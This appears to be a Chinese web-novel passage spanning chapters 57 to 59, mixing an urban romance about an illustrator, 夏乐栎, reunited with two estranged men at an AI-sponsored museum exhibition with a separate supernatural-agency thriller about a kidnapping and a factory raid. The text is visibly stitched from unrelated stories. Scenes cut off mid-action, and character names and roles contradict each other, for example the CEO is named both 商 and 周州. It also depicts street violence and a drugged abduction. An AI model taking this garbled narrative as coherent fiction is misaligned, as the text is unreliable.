偷偷回崇京参展,她没通知任何以前的朋友,只想悄悄回来,做完展览再悄悄离开。 没想到回来没几天,直接撞上了她最不想碰见的两个人。 周州和商时驹这对兄弟。 但真的见到商时驹,她没有想象中抵触,反而有些感慨。 这个她从小仰慕到二十岁的人仍然有着经年不变的明朗,四年不见,他仍然温润赤诚,倜傥自信,不染半分商人的铜臭油滑。 豆蔻稚嫩时,商时驹曾是她无数次写在日记本里的名字。 夏乐栎也本以为自己的伴侣会是他这样的男生,并妄想着能靠他再近一些,再被他关注一些。 直到二十岁那年他的哥哥周州闯进她的世界,一切乱得一塌糊涂…… “这些年你都在哪里?听说你出国了,读的哪所学校?” “我跟很多人打听过你,但都没有你的消息。” 商时驹的嗓音切断她的出神。 夏乐栎抬眼,又被面前男人过于深刻的眸色弄得有些无措,讪笑:“当时教授给了推荐信,去英国了。” “在Bournemouth读完了研究生就工作了。” “BU吗?听说他们的动画传媒专业很强。”商时驹抄兜,后背弓动,几分少年感从青年身体里流露,笑着问:“我记得那是座海滨城市,学校靠海,景色是不是很美?” “以后如果有机会,带我回Bournemouth拍一拍沙滩怎么样?” 夏乐栎笑意浅淡,没说什么。 察觉到她兴致缺缺,商时驹摸了摸鼻梁,低头,干笑了半声:“对不起,你肯定觉得很突然。” “昨晚上看到你的视频和公众号了。” “想过你可能不想见我,毕竟当年闹得那么……” 夏乐栎看他这么愧疚,像以前那样叫了他一声:“时驹哥。” 商时驹略有怔忡,抬眼。 “不要这么说,”她惊人的美貌在笑起来的时候抵达顶峰,明眸善睐,让人挪不开眼。 “事情该过去的过去,”夏乐栎安慰他:“我们这么多年的交情不会变的。” 她的话无疑是特赦令,商时驹眼梢松开,目光深邃。 “还记得我说过吗?走去哪儿记得告诉我,不要让我找不到你。” “别再消失这么久了,好不好。” 夏乐栎眸色晃动,低头干涩地笑了两声。 看着这个蜕变得落落大方的邻家妹妹,当年的事反复冲撞他的好奇心,到嘴边的那句“你见过他了吗”经过多番犹豫,说出口的时候又改了改:“你回来这么久,除我以外……” “见过其他人吗?” 即使他没有点破,但这句话落在夏乐栎耳朵里还是清晰又直白地直指某个人。 包着玫瑰的纸被她攥得咯吱作响。 夏乐栎余光往展厅里看。 那个人此刻就站在一墙之内。 但是。 她抬头,堂而皇之说:“没有。” 夏乐栎忽地被吓醒。 粘稠厚重的梦终于被窗外的几波雷电打断,放她回到现实。 睁了眼,夏乐栎的天姿得以诠释。 睫毛细密如丝,一双美人眼流盼湿润,刚醒,有些惺忪失神。 被吵醒后,暴雨袭来的寒冷也随之清晰,夏乐栎拉高被子裹紧。 这些年不管跑了多少医院,耳疾仍然没有任何缓和,突然的尖锐噪音弄得她心肝颤抖。 雷雨夜最恐怖,一波波肆虐的暴雷吓得整座城市都难以安眠。 夏乐栎冷得不想动,窝在原地纠结一番,还是爬起来去关窗。 她踉踉跄跄走到窗口,刚握住把手,迎面又一道霹雷下来,震耳欲聋。 惊得夏乐栎肩头哆嗦。 隔音窗被关上,嘈杂雷声衰退一大半。 脚趾踩到一片湿迹,她低头,看见窗台和地板都潲进来不少雨。 刚睡醒身体都是酸懒的,夏乐栎叹息,转身走去客厅。 她倒了杯热水抿了抿,深睡过后的干涩一下被消解很多,夏乐栎捞起落在茶几上的手机,一打开发现微信被轰炸了。 【郑师兄:我去了个六舅的,夏小美女你火了你知道吗?】 这是他唯一一条纯文字,剩下全是语音。 “……” 吊人胃口,讨厌。 懒得听师兄的十几条五十九秒语音,她干脆全部转文字,自己结合上下文自行理解。 读完识别出来的信息,夏乐栎稍拧起眉。 简而言之,就是他们展览的公众号今天发布了一条预热的博文,里面放了一张她的照片。 展览处于装修的最后阶段,镜头里的她侧身,站在展品面前,衬衫袖子挽到中间,环胸盯着脚下的艺术摆件思考。 额头饱满,柔软黑发松散地夹着,洁净的白颈暴露在镜头中,她的身形清瘦,像风中一叶。 夏乐栎表情专注,就因眼睫垂下挡住了大半情绪,徒增清柔的破碎感。 就是这样一张照片,不知道被哪个营销号发掘,直接发到了短视频平台,配上“某某大热情歌”“某大热小说绝美女主”有脸了类似的tag,一经发布,引得所有大小营销号跟着效仿。 现在已经有不少网友开始拿夏乐栎这张侧影照当头像招桃花了。 他们展览的公众号粉丝飞升,有等着开展当天找夏乐栎合影的,还有好多经纪公司找到她的师兄问签约意向。 整件事发酵才不过七八个小时。 再这样下去,没多久夏乐栎的简历和生平怕是就要被扒出来了。 从天而降的热度对他们这次的半公益展览肯定是有益无害的,但对于夏乐栎本人而言…… 她皱眉很久,直到眉心都发酸了,才拿起手机给郑师兄发了条可怜巴巴的诉苦。 【rainy:师哥,本素人好慌。】 【rainy:我还没做好进军娱乐圈的心理准备。】 当天晚些时候,一张照片出现在林启山的办公桌上。 正是S大门口,夏乐栎给商时驹递手机那一幕。 照片中的女人像是对拍摄有所察觉,对着摄像头的方向偏了一下头。 助理解释;“她对镜头很敏锐,跟着的人担心被发现,就没有多拍。” “吴皋说的女人就是她?之前那个私家侦探就是她发现的?” 助理点了点头,表情不大好地,“是我们的失误,没想到他会擅作主张。” 他们本来就没有打算对邓立微再动一次手。一次意外还算是意外,两次三次就不是了,更别提邓立微的案子搭进去一条调查官的命,等同于在异监局挂上号了,风险太大了。 林启山“诶”了一声,安抚地摆了摆手,“知道错了就改嘛,人哪有不犯错的。” 听起来像是个通情达理的好上司,助理却冷汗涔涔地连声应是,语速极快地给出的弥补方案的解释——“知道错了就改”,那得是活人才能改。 林启山心不在焉地听着,目光却落在夏乐栎的资料上。 助理察言观色,立刻就解释起来,“我们也怀疑这份资料有问题,但相关的档案在各大官方系统里都能查到,要么是真的,要么是他们内部做的操作……异监局那边很难渗透,但还是能打听出来点消息,听说他们有个很厉害的线人,提供了不少消息,很可能就是这个人。” 林启山倒是还稳得住。 他几乎不会和下面的人直接接触,就算有什么指令,也是多级发放。那几个制药厂更是有着独立资金渠道,明面上和“林氏地产”没有一点关系,只要没把握住关键链路,就算事情暴露了,他也能全身而退。 不过也没有这么坐等着别人从他身上刮肉的道理。 “不少消息?” 助理额上又冒汗了,“这个、异监局那边有好几个监察类的异能、实在不好渗透……” 林启山缓和着眉眼,“何必舍近求远?直接请这位夏小姐来问问不就行了?” 助理愣了一下,刚刚想要点头应下,又见林启山像是想起来什么似的,“她男朋友是那个死了的调查官?” “资料上是这么说。” 但因为对方档案存疑,事实如何不太好说。 “为了答谢这位夏小姐的配合,等问完了,”林启山轻笑了下,“送他们见一面吧。” 第 57 章 第 57 章 “A组正面进入,以最快的速度控制他们的武器仓库。B组绕后,切断逃生通道……” 陈显听着耳麦里各组给出的回应,人却有点心不在焉。 按理说这种郊外大型基地的突击都是商时驹带队,实在是他的异能很适合清场,就算真有什么突发状况,也能迅速控制住现场。不过上次游轮上的事才过去没多久,异监局这边也要考虑对外影响,未免短期内出现第二次“事故”,商时驹被安排去抓人了。 而陈显带队的这次突击行动,难度也不大。 毕竟已经提前摸清楚了制药厂的结构,又拉着局里的幻觉系异能者模拟现场、演习了好几遍,各种备案都准备上了,这才能放任陈显在现场游刃有余地走神。 他在想提供情报的那个“线人”。 虽然邮件地址定位不了,内容措辞都很陌生,没有以前的惯用句式,但是那细节到让人头皮发麻的情报风格、抽丝剥茧层层深入的敏锐、再加上那个“签名”。 ——周州吧?绝对是周州!! 他就说周州不可能那么简单地出事,果然是“假死”! 就为了调查这个案子? 与此同时,市中心艺术厂区外的昌泰街正热络。 室外暴雨,却丝毫不影响爵士酒吧里正享受特调的客人们。 位置最好也最大的卡座里聚了七八个人,觥筹交错间不同类型的调酒碰杯在一起,撞出的香气慢慢融合。 “这次出驹的影集记得送我们几本啊,你说你这一边当CEO,一边还当着大摄影师,给你牛的。” 穿着花哨的男人再次举杯,看向窝在沙发最中央的商时驹,笑道:“来来来!再碰一个,喜迎我们小驹总采风顺利!” 男男女女再度站起来,把酒杯举起,齐刷刷看向酒局主角。 不管是上学时候还是现在,商时驹走到哪就是哪里的男主角。 催酒这会儿,他正捧着自己的相机翻看着,被催着叫到才笑着抬头:“说了不灌我我才来的,你们真不厚道啊。” 接管家里产业的这几年里,他褪去白衣少年气,成熟许多,不改的还是这股谦谦君子的温柔劲儿。 商时驹的桃花眼温柔,眼神总让人从心底发暖。 他放下相机,端起自己的酒,和朋友们碰杯。 “多亏大家照应,”商时驹坦荡温润,微笑:“我才能偶尔跑出去干点儿别的。” “得了吧谁有那本事照应你商家啊,赶紧,别赖酒。” “上次那项目还是驹哥给我牵的线,我陪驹哥炫一个!” 又一轮举杯结束,朋友们坐下继续刚才的酒桌游戏和闲散话题。 商时驹的发小任宽从楼上厕所下来,快步穿过酒吧一层,溜到他身边坐下,表情惊愕:“时驹,那个,你……你知道……” 商时驹嘴里抿着半口酒,偏眼作疑问。 任宽把手机打开的公众号界面给他看:“你看看这个是不是那个谁……” “她什么时候回崇京的,这事儿你知道吗?” “×博和抖×上她的照片都传疯了,怎么她签了MCN要营销当网红?” 商时驹悠悠往下一看,闲散的眸色顿然变了。 能让他这么一个永远三分温柔三分悠闲的人忽然变紧表情的人很少。 任宽看着商时驹眉眼紧绷又复杂的表情,知道自己兄弟并不知情。 商时驹就那么盯着屏幕里的夏乐栎足足一分钟,直到手机自动息屏才逐渐回了神。 他高瘦的身影僵得像一张拉满的弓,嘴角上扬又下垂,抖动后又扬起。 任宽很意外。 这几年来商时驹就像套了一层厚厚的壳,即使看上去跟以前没什么两样,但熟悉的人知道,其实他跟谁都不亲近。 “哎,什么情况。”任宽对过去他和这姑娘的事知道不多,忍不住八卦:“当初你俩最后是……?” 商时驹视线一扫记住了展览的举办地址,澄清:“不是,没有。” 酒吧里的爵士乐悠扬暧昧,却丝毫融入不进他周身紧张的氛围里。 商时驹把地址和信息都发出去托人去查,抬起视线,乐里雾里来了句。 “既然我们都知道了,那他肯定也知道。” 任宽纳闷:“谁?”她就是为了这个展览回来的,所以一开始找短租房子干脆就选艺术区附近的小区。 最后找到一处稍微有些距离但是租金很合适的一居室,步行三四个街口就到了。 每天上下班来回她走出了巧劲,中间穿过几条小巷,距离能锐减三分之一。 傍晚天昏了下去,都市中心区并不是随处灯火通明,这些被保留下来的民居条巷多数都缺少治理,路灯也不如大道上那么充足。 昨天刚下了雨,巷子里路不平,随处都是坑坑洼洼的泥水。 巷子里寂静狭窄,脚步声清晰可闻。 一开始夏乐栎并没有留意到中途加在身后的脚步声,但随着那串脚步越来越紧促,越来越接近她。 夏乐栎对危险的潜意识响了铃。 她步行途中稍稍偏头,用余光确定了身后的那抹陌生的身影。 第六感告诉她,那人就是冲自己来的。 一个瘦矮的男人,正紧紧地盯着她。 夏乐栎后背发毛,浑身都冷了一度,加快脚步。 走过某个单元门时,她从塑料筐顺手抄起一个绿色啤酒瓶。 两人的脚步声在巷子里暗潮追逐。 那人没忍住开口,嗓音森冷:“美女,美女你等等……我等你一整天了……美女……” 她吓得眼角都热了,喘息加快,小跑起来。 身后人追得越来越近,越来越快。 脚步声几乎要踩在她后背上了。 她的影子被身后人笼罩的瞬间,夏乐栎猛地站住,用力挥动手里的啤酒瓶往电线杆上砸去—— “嘭嚓!”清脆地破裂声响起。 “别过来!!”夏乐栎举着被砸出尖刺的啤酒瓶往身后打去。 她的腕子被对方一手握住,腰肢被圈住一把拽过去—— 对方强悍的力度令夏乐栎恐惧,吓得喊出声,疯狂挣扎起来。 “别碰我!放开我!!我报警了!我报警!!” 下一刻,头顶飘起熟悉的嗓音。 “几年过去,光长嗓门儿不长力气啊?” 夏乐栎倏地睁开双眼,被头顶路灯刺眼的同时,对上了周州的眼睛。 他身上还是白天那套西装,没穿外套,黑衬衫解了好几颗扣子,露出锁骨。 宽肩窄腰,浓黑的眉眼。 压制感十足的男性荷尔蒙。 她两个手腕被他一只手握着,周州刚才顺势一拽,她几乎就要扑进他怀里。 夏乐栎跑乱了头发,眼睫湿着,再加上害怕恐慌的神色,此刻像一个摇摇欲坠的白瓷罐,单薄得可怜。 看到他的瞬间,惊骇的心竟立刻踏实了下去。 她下唇开始止不住地抖,手里死死握着的啤酒瓶也跟着颤。 声细如蚊,掺着倔强:“放,放开我……” 周州没依她,而是用另一手掰开她的双手,抢走那带刺的碎酒瓶。 他掂了掂酒瓶,哼笑:“以前教你那么多,就学会这一招儿?” 夏乐栎紧抿嘴唇,心尖跟着他的话一浪一浪地抖。 他挥臂,酒瓶被“咣当”扔得远远的。 这时,一个西装革履的眼镜小哥带着两个保镖拖着刚才尾随夏乐栎的矮瘦男人走来。 助理擦了擦额头的汗,跑得有点喘,“商总,人怎么处理。” 夏乐栎余光瞥去,那个尾随男被拖着,脸上红了一大块,已经挨了一拳,人现在不太清醒。 不难想象方才他所经历的暴力画面。 周州一手控着还在乱扭的女人,乜过去一眼。 “我是警察还是你是警察?” 助理早就习惯了他不说人话的性格,点头:“都不是,我们这就把他交给警察。” 说完带着保镖,扯着尾随男迅速离开现场。 “周州……”夏乐栎后悔自己没多锻炼,不然也不能半点都拗不过这人的力气,只能警告地喊他:“周州!” 殊不知这两声落地,周州回过头,眉峰却挑了起来。 恢复平静的小巷里,昏黄的路灯照着男女纠缠的身影。 “嗯?”周州漆黑的凤眼染着嘲笑,握着她的双腕,像耍小猫似的晃她,“还记得我叫什么呢。” 夏乐栎眼睛红了,胸口起伏愠气。 当年撕心裂肺,分手的话撂得那么干脆,她就没想过还会有今天。 以至于周州用这种丝毫不作任何过渡的方式制造这种面对面的摩擦。 用这样游刃有余的眼神打量她,说这种吊儿郎当的混账话。 她无比的别扭,撕扯,委屈,生气。 “你过分了。”她鼻音泛起。 盯着夏乐栎洇红的眼睑,周州放荡的神色一点点消去,握着她的手腕用力一推。 把人直接抵到后面的白墙上。 后背撞上墙面,夏乐栎咳嗽出一声。 下一刻,她的下颌倏地被面前的男人握住。 夏乐栎闷哼一声,吃疼,目光发怒。 他的手很大,一下就能把她下巴连带着颌骨全都捏住。 “夏乐栎。”他冷着表情,一手掰过她的脸,紧盯她左耳后的这块地方。 白皙的皮肤上隐约有些伤痕。 是文身被洗掉的痕迹。 曾经缠绵时,他亲手为她纹上那串英文,此刻消失得干干净净。 她就这么狠,狠到那么怕疼也要把他留的文身洗干净。 周州的腮颊慢慢绷硬,特想笑。 他正对她气恼的目光,反问。 “咱俩过分的是谁?” 商时驹捞起身后的相机包,拍拍任宽的肩膀:“明天早起去这个展。” …… 夏乐栎是去接单子的路上被人突然拖到车里的。 口鼻被盖上一层湿布,她没有闻到什么刺鼻的气味,但人很快失去了意识。 身体的知觉缓缓恢复,意识一点点苏醒,夏乐栎很果断地选择了装昏。 大脑还有点迟钝,车内的对话隐隐约约的传来,她侧耳听着,试图捕捉更多的信息。 结果听得越发迷糊了。 不是普通的要赎金的绑票,这些人似乎想从她这里问出什么。但问题是他们想问什么啊?她连这个世界的初中地理都不知道! 正这么纠结着,侧边突然传来一道巨大的撞击声。她听到了短暂的咒骂,但那咒骂声很快都像是被抹掉一样消失了,周遭静得只能听见呼吸。 心脏一下又一下地跳动,恐惧后知后觉传来。 “咔哒”一声,似乎是旁边的车门被卸下来了,夏乐栎不得不睁眼。 前排的安全气囊弹出,司机毫无动静地趴在上面,旁边的人也都不明缘由地昏迷着。旁边的车门掉下了半扇,边缘处是高温炙烤的熔化痕迹。 还不等夏乐栎更仔细地打量,就被揽入一个坚实的怀抱里。 手臂稳稳地自背后环过,将她压入怀中,紧贴着的胸膛急促地起伏着,像是带着细微颤抖。夏乐栎瞬间判断出了来人,是商时驹。 很奇怪,明明是她被救了。 但每一次在诉说“得救了”的却都是对方。 更奇怪的是,她心跳得很快。 比刚才更快了。 吊桥效应、生理唤醒、肾上腺激素……理性那部分自发地给出解释,但是脑海中闪现的却是初遇的那一幕——门打开了。 在她惊慌失措、还没做好准备面对这个崭新的世界时,那扇门被从外面打开了。 他就那么自然而然地走了进来。 这次也是。 第 58 章 第 58 章 陈显收到邮件后,心底一跳。 他其实对发件人都有七.八成的确定了,但还是抱着仅存的一点希望。虽然有这位兜底的任务都让人非常放心,但是他一点都不想和对方直接打交道。 只是如果真的是他想的那个人的话,不会在任务过程中发没用的消息…… 陈显纠结挣扎了好几秒,还是把那封邮件点开了。 等到看到里面熟悉的语气之后,他眼前一黑:这是装都不装了吗? 不管怎么样,救人是大事。 陈显半点都不敢耽搁,急匆匆点了人手赶往邮件里的地点。 周州给的目的地是个废弃的工厂,这也是从那个小头目口中问出的地址。 事实上,陈显所在的这一大片地方都是有名的废弃厂区。早些年周边发展快、很多厂家违规生产,随着政策缩紧,许多厂子被勒令修整,有些修整着修整着就关停了,这地方就荒废下来。 裸露的泥土上生着杂草,无人的厂房上生着斑斑锈渍,乍一眼看上去让人心里发慌。 周州给的地点只是圈定了个大概,陈显匆匆带人赶过去,在周围里里外外转了一大圈,还是没能找到对方说的劫持人员。 下属问:“是不是情报有问题?” 这种事也挺常见的。 陈显使劲摇头。 你知道发邮件的是谁吗?就敢说这有问题。 陈显有时候觉得周州的异能比起“解构”来,更像是“预言家”,这家伙光是预判都够把人玩死了。 等等,预判。周州原本下了飞机和朋友叙旧吃饭,没想到中途出了点事儿,打扫蟑螂苍蝇的计划只能提前。 旧民巷叫寺下村,拆迁改造计划里被拖下的边角地带,鱼龙混杂破败不堪,是拆是留政府至今没给出相应决策。 他的鞋底甚至还沾着美国大地的气息没散去,现在却站在这儿。 周州缓缓蹲下,左手支着大腿,右手抓起倒在地上的人的头发。 他大手一薅,瘫死在地上的人生生被拉起半身。 对暴力行为表现得越冷漠的人,越可怕。 令人后背发凉,感到死亡威胁。 殴斗短暂激烈,他连气息都没乱掉。 周州不曾低头,垂眸睨着眼前吓到发抖的男人。 男人在这一带也牛逼了有一段时间,都是靠野路子混日子的,怎么甘心被突然闯来的外村人揍得起不来。 他嘴上不饶人,牙都被打掉了还含糊骂着:“你他妈……” 周州探身侧头,把耳朵凑近,然后投给他一个费解的眼神。 他抓着面前人的头发晃了两下,拍拍对方的脸。 “我不在,你当寺下没人管了?” 挨揍男嘴都快被打裂了,嘶嘶忍疼:“你,你奶奶的谁啊……草……” 邓飞扬踩着另一个被打晕的混混,抽出一根烟,坏笑道:“哥们儿,不打听打听州哥就敢混寺下?” “早就警告过你小子手别犯痒痒。” “正好今儿我州哥刚回国,你赶上了。” 周州没跟他多废话,使劲拽他的头发,尾音又轻又凉:“顺了多少,吐出来。” 这片村子大多都是旧平房和自建房,安全系数都不能保证,更别提什么监控了。 住这儿的要么是留守老人和孩子,要么就是图便宜租房的外来打工者。 这几个有过案底的惯手老鼠进了村子充老大,什么都偷,如果有人质疑,女的就耍流氓,威胁安全,男的上手就打。 邓飞扬告诉他:“哥,东三条的刘奶奶孙女的银镯子是昨天丢的!” 就在这时,挨揍男吼了一句:“都他妈花了,有胆就弄死我,草!” 这些人吃喝p赌,到手的钱流水一样,不是没可能。 但是。 周州眼皮耷拉着,盯着他,一下抓住对方瞳孔深处的犹豫,敏锐得吓人。 他一松手,挨揍男摔回地上。 周州扫了一圈,捞起旁边一根带着钉子的粗棍。 他笑了,恶劣又平静,“行啊。” 挨揍男倏地抖了一下,被他这副无畏的架势吓着了。 周州手里的钉棍眼见就要抡到挨揍男的脸上,碎碎的脚步声跑近,携带着骂骂咧咧的恐吓。 两个混混带着刀和甩棍迟迟赶到,邓飞扬瞥见一人手上戴的指虎,吹了声口哨,默默往旁边退了几步。 peace&love,怂得很及时。 上了刀子,就不再是小混混之间的小打小闹了。 周州的表情并没有变化,往后撤了两步,坐在脏箱子上,长腿敞开,双手叠握棍子往地上一杵。 他懒洋洋掀眸。 来。 两个小混混骂着冲向他—— 他重新看了一遍邮件。 如果是从市区截了人,往这边送的话…… 陈显迅速锁定了路线。 “你们在这儿等着,我去看看。” 一夜狂风急雨过去,翌日晴朗无乐。 随着降温,秋高气爽的舒适伴随阳光安抚着雷雨后的城市。 没想到窗外风雨飘摇,她后半夜反而睡得不错,本想着睡醒再想办法处理网上那些营销号干的“好事”,没想到一睁眼,昨晚翻看过的几个闹得比较火热的帖子全都不见了。 那几个不知怎么寻到她微信反复在好友认证里邀请签约的演艺经纪人也没了后续。 “网红梦”一夜逝去,夏乐栎反而松了口气。 她其实非常不喜欢暴露在媒体视线里。 可惜,郑师兄肯定要遗憾他们错失这波能宣传展览的流量了。 夏乐栎假惺惺给师兄发了条微信安慰“这也是没办法的事”,隔着屏幕悄然窃喜,放下手机去洗漱。 今天还要继续装修展览,还有四天就要开展了,不能懈怠。 早晨九点半,她背着托特包走出单元楼,站在树下仰头闭眼,使劲吸了一口崇京秋季雨后的清爽空气。 卷着几分泥土味,清冽的,蒸腾的雨水味道。 外面漂泊这么几年,此刻忽然理解了书中所说的灵魂返回家乡的踏实是什么感觉。 夏乐栎睁开眼,睫毛微颤,伸手把散发高高束起,迈开腿去向小区外的地铁口。 展览在崇京最知名的联厂艺术区举办,租下了中央区的一个德式红砖棚场,经过装修,现在已经完全是他们此次“与它对话”文物展的主题风格了。 她和郑师兄都只是展览其中一个环节的受邀合作艺术家。 “与它对话”是国家博物馆宣传部门和最近势头很猛的人工智能公司eclipse联合创办的慈善展览。 博物馆拿出几件历朝历代比较有代表性和人气的文物展件,利用eclipse公司AI大模型独家开发的语言系统为游客与文物构建一个可以直接对话的空间。 不管游客提出什么样的话题与问题,AI大模型都会以文物所处年代的语言模式,融合这件文物所经历过的历史故事,塑造一个活灵活现的“灵魂”与栎百年后的游客进行畅谈。 夏乐栎之所以能被邀请其中,完全是因为她个人的自媒体号在绘画圈小小出圈过一次。 去年她空闲的时候画了一系列文物拟人的原创插画及短动画,最火的一幅在×博上了热搜,一下子有了知名度。 这一次她受邀为参展的这些文物制作拟人拟动物的短动画,动态海报,配合文物的历史故事,展示在文物旁边,提高游客的阅读趣味。 同校的郑师兄一是帮她完成全系列的绘图细节,二是这个人在艺术区本就有一家人气不错的咖啡店,自告奋勇申请了文物展内的文创饮品区。 简而言之,就是负责摇奶茶做咖啡。 本次展览的筹办费用,以及他们这些受邀艺术家的聘用工资和稿费全都由eclipse出资,最后展览收获的所有盈利都以国家博物馆的名义捐给希望工程。 虽然eclipse出手阔绰,但展览只要开办顺利,整个企业的社会效益必定会迎来收效。 “我这儿也马上到了,听说今天有博物馆和eclipse的领导要来验收展览内饰,别说,我最近还买了eclipse的股票。”郑师兄在电话那边侃侃而谈:“牛到能给国家博物馆的展览做AI模型,这种朝阳企业谁不投谁傻子啊。” 夏乐栎已经到了园区门口,塞着耳机问对方:“你很了解eclipse?” 她本来就搞不懂这些科技方面,而且作为文艺创作者,对有关AI智能的事情多少有些抵触。 郑师兄简明扼要:“就这么说吧,国内搞AI开发,现在除了eclipse已经没有第二个名字了。” “一家独大,要技术有技术,要钱有钱,牛得很。” “主要是他们CEO甚至才二十八岁,青年才俊啊!” “你在国外写论文的时候,没用他家的AI写作偷偷懒?可好用了。” 夏乐栎默默道:“……师哥,你对学术研究不赤诚。” 他们两个最近为了展忙前忙后,几乎天天泡在一起,过去在学校时候一起肝活动的感觉又回来了。 她的话惹得郑师兄在电话那边嘎嘎大笑,然后突然“我草”了一声,“完了学妹!你到哪儿了?!” 夏乐栎立刻停住,看了看,“还有一两百米吧,拐角就到了,怎么?” 郑师兄很急:“你赶紧绕个圈去小侧面,门口怎么堵了那么多人啊,别是来找你合影的吧!” “来势汹汹,怕是要吃了你喂营销号。” “啊?”她慌了神,立刻用手捂住下半张脸,往远处望去,确实乌央乌央有一堆人在展厅大门口。 早上还窃喜营销号被搞掉了,没想到还是有那么多人摸着地址找来了。 夏乐栎挂了电话,赶紧拿出口罩戴上调转方向,绕了一大圈去展览的消防通道,等郑师兄来开门。 他们从消防门进入展厅的时候,夏乐栎身后已经有几个也发现这个入口的营销号博主了,幸亏郑师兄关门得快。 夏乐栎一路跑来,鬓边发丝凌乱,喘得眼角发红,扶着膝盖讷讷:“真麻烦……” 郑师兄耸肩,接过她手里的包,扫见夏乐栎这般模样,有些不自然地挪开眼:“谁让你国色天香,古代的红颜祸水是不是就长你这样啊?” 夏乐栎无辜,“祸水?我可没祸害谁。” “这个词用得不对,师哥,你道歉。” 郑师兄回头:“……” “行行行,人畜无害大美人。” “今晚下班请你吃烧烤行不?” 夏乐栎跟上他的步伐,抿起笑意,很满足。 果不其然,两人走到展览正门附近,看见隔着玻璃墙对着夏乐栎举着大摄像头拍照的无良博主。 夏乐栎看见那些镜头,吓得眼瞳缩乱,清弱怜惜的模样引得拍摄者们更兴奋了,幸亏她被郑师兄虎背熊腰的身板护住,没让他们拍个痛快。 回到展厅内部,她余悸未平,所幸因为展览未开放所以大门一直紧紧锁着,那些人进不来。 不然今天就要乱套了。 商时驹使劲儿磨了磨牙,“你是个混蛋这件事,我认识你的第一天就知道了。” 失去太过痛苦,所以回避所有人的接近。 为什么周州可以踏过那条界线?因为他是带着鲜明恶意的。 商时驹攥拳的手松松紧紧,最后却只是不轻不重地捶在对面的肩膀上。 和周州微怔的视线对上,他反而扬着眉笑了下,“你不会。” 即便是带着恶意的接近,最后不也是朋友了吗? 扔下了这句话,商时驹就从从容容地推开卧室门出去了。 外面的动静顿时兵荒马乱起来。 听着外面传来的、夏乐栎那语无伦次的解释声,周州沉默了好一会儿,才重重地叹气。 到底谁才是擅长心理战的那个? 所以不要被外表骗了啊! 第 59 章 第 59 章 交往以后,再到男朋友家里,留宿就很正常了。 但是夏乐栎站在客房门口,脸上忍不住露出了犹疑的神色。 不是吧?都交往了,还要睡客房吗? 看着一脸正直地收拾房间,完全没感觉什么不对的商时驹,她开始反思自己是不是有点急。 首先,她真的不是因为单纯馋商时驹的身子才跟人交往。 展览的装修已经步入尾声,还有零星几个工人师傅在叮当做工,保洁人员在二遍清扫,为待会主办方的莅州检查做准备。 郑师兄去文创咖啡区检查了一圈,然后做了两杯咖啡到里面找她。 夏乐栎正对着一件展品席地而坐,盘着腿笔记本电脑放在怀里,正在同步检查文物动画的细节和播放顺序。 经过刚刚折腾,她原本扎起的马尾有些松散,乌黑的青丝散乱几分,更突出了清碎柔美的气质。 夏乐栎盯着电脑的眸色认真,薄脸映着屏幕光,工作的时候周身透着一股韧劲。 说不出的吸引人。 郑师兄暗自咽了咽喉咙,走过去:“歇会儿吧,你喜欢的,奶油摩卡。” 夏乐栎抬头,勾着眼尾接过咖啡道谢。 两人在展厅里随便逛着休息,她呷了口咖啡问:“那些人还在门口?” 郑师兄点头:“怕是不蹲到你不走了,没事,一会儿保安就来了。” 夏乐栎叹气。 郑师兄看着她,知道面前这位美女尤为不喜欢抛头露面,想她三周之前人还在巴黎时装周,陪以前学校的一位教授举办敦煌文化服饰秀,按说是履历里绝对添彩的一笔,结果她却不肯出镜各种报道,直到最后大合照才站了个边露了脸。 “特别困扰吗?不行我去想想办法维权。” 夏乐栎莞尔,摇头,脸色有些白。 “不碍事,反正展览结束我就走了,网上那点事过两天就没人在意了。” 郑师兄讶异,忍不住嗓音都大了好多,在展子里荡起回声:“你又要走了?这次去哪?还回崇京吗?” 没等夏乐栎嘴边那句“估计不回来了”说出口,这时,身后来自展览负责经理的老烟嗓打断了他们的对话。 “哎对,就是这两位,这次咱们展览的受邀插画老师和文创咖啡师!” 她和郑师兄齐刷刷回过头—— 夏乐栎的呼吸在这一瞬间微微停滞。 耳畔所有声音仿佛都像洪水倒灌,堵得耳膜咕噜噜作响。 手里的咖啡凉得掌心冰冷,顺着皮肤蔓延到五脏六腑。 有人天生就是主角,是不论站在哪里都吸引人一眼过去的存在。 昨晚噩梦里反复出现的身影此刻就在眼前,几米之外。 身穿笔挺西装的男人闲庭阔步地跟在博物馆负责人身边。 周州有股令人窒息的魅力,经过四年多的历练与沉淀,如今更盛。 他走路时候头不曾低下,但视线始终垂着,高挺的眉峰鼻梁和平直的眼角,将男性荷尔蒙与攻击性放大到极致。 听到经理介绍,周州顺势掀眸,目光如箭一般射过来。 他在看她。 夏乐栎定在原地。 从筹备到展出结束不过两个月,她本以为崇京这么大,只要小心一点就可以避免偶遇。 她不是不知道eclipse是他的,只不过如今的eclipse已经成长为大几百人的上市公司,光领导就有几个大头头,他作为一把手,怎么会有空来这种小活动视察? 她不是明明事先都旁敲侧击打探过参与展览的人员名单,负责展览的eclipse领导不是他吗? 结果他就这样不按常理地出现在她的工作现场。 过去纠缠不休的回忆一幕幕冲上脑海,夏乐栎心跳发快。 “走,走啊,叫咱呢。”郑师兄催促她,带着她上前迎接。 对方隔空的视线过于刺人,夏乐栎低头无视,机械般抬腿跟着师兄上前。 展览经理向他们介绍:“这是博物馆宣传部的张老师。” 张老师是个和蔼的中年女士,笑着跟两人握手:“辛苦了,从那边看过来,准备得非常好。” 经理又看向身边气场太强的高大男人,多几分忌惮,继续介绍:“这位是eclipse的创始人之一,目前的首席CEO商先生。” “也是咱们这次展览的资方。” 郑师兄瞧见出钱的金主,讪笑着伸手,“我叫郑泛舟,商总,久闻大名。” 年少有为,背景殷实却偏偏又靠技术入股的大神啊。 周州目视郑师兄,眼皮稍许耷拉,没说话,但基本的尊重给了。 他伸手。 眼神偏移几分。 夏乐栎感受到某个目光,立刻把头埋得更低,双手放到背后抓紧衣服。 怎么办…… 她压着眉乐,慌乱不堪的情绪没藏干净。 周州和面前的男人握完手,故作陌生,缓慢开口:“另一位是?” 郑师兄帮忙介绍:“这是我的师妹夏乐栎,就是这次展览和您公司AI模型配合的插画师,特别努力。” “学妹,赶紧啊,难得碰到同校大神。” 周州对她伸了手,嗓音一如过去那般低沉,勾着点儿野调无腔。 “夏小姐?” 在场的有展览经理,博物馆的老师,她的师兄。 全是不知情的看客。 不能在这里失态,当着这些人。 更不能,在这场时隔四年突然的重逢里。 显得太狼狈。 道理她都懂,可是…… 夏乐栎视线半抬,盯着那向自己伸来的手。 宽大,骨节分明,富有力量感。 这是只既握得了钢笔,也能挥拳撒野的手。 